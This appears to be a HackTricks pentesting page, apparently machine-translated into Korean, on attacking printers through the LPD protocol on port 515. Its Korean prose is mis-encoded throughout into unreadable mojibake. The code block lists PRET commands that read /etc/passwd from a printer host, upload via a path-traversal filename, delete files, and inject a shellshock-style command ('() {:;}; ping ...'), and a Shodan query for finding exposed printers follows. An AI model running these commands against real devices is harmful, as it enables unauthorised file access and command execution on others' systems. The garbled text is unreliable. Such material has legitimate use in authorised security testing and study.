{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
### **LPD νλ‘ν μ½ μκ°**
1980λ
λμ **λΌμΈ νλ¦°ν° λ°λͺ¬ (LPD) νλ‘ν μ½**μ΄ λ²ν΄λ¦¬ μ λμ€μμ κ°λ°λμμΌλ©°, μ΄ν RFC1179λ₯Ό ν΅ν΄ 곡μνλμμ΅λλ€. μ΄ νλ‘ν μ½μ ν¬νΈ 515/tcpλ₯Ό ν΅ν΄ μλνλ©°, `lpr` λͺ
λ Ήμ΄λ₯Ό ν΅ν΄ μνΈμμ©μ νμ©ν©λλ€. LPDλ₯Ό ν΅ν μΈμμ λ³Έμ§μ **μ μ΄ νμΌ**(μμ
μΈλΆμ 보 λ° μ¬μ©μ μ§μ )κ³Ό **λ°μ΄ν° νμΌ**(μΈμ μ 보λ₯Ό ν¬ν¨) μ μ‘μ μμ΅λλ€. μ μ΄ νμΌμ λ°μ΄ν° νμΌμ λν **λ€μν νμΌ νμ** μ νμ νμ©νμ§λ§, μ΄λ¬ν νμΌμ μ²λ¦¬λ νΉμ LPD ꡬνμ λ°λΌ κ²°μ λ©λλ€. μ λμ€ κ³μ΄ μμ€ν
μμ λ리 μΈμλλ ꡬνμ **LPRng**μ
λλ€. νΉν, LPD νλ‘ν μ½μ **μ
μ± PostScript** λλ **PJL μΈμ μμ
**μ μ€ννλ λ° μ
μ©λ μ μμ΅λλ€.
### **LPD νλ¦°ν°μ μνΈμμ©νκΈ° μν λꡬ**
[**PRET**](https://github.com/RUB-NDS/PRET)λ `lpdprint`μ `lpdtest`λΌλ λ κ°μ§ νμ λꡬλ₯Ό μκ°νλ©°, LPD νΈν νλ¦°ν°μ μνΈμμ©νλ κ°λ¨ν λ°©λ²μ μ 곡ν©λλ€. μ΄λ¬ν λꡬλ λ°μ΄ν°λ₯Ό μΈμνλ κ²λΆν° νλ¦°ν°μμ νμΌμ μ‘°μνλ κ²(λ€μ΄λ‘λ, μ
λ‘λ λλ μμ λ±)κΉμ§ λ€μν μμ
μ κ°λ₯νκ² ν©λλ€:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
νλ¦°ν° ν΄νΉμ κ΄μ¬μ΄ μλ κ°μΈμ μν΄ ν¬κ΄μ μΈ λ¦¬μμ€λ₯Ό μ¬κΈ°μμ μ°Ύμ μ μμ΅λλ€: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `port 515`
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νμ 곡μ νμΈμ.**
{% endhint %}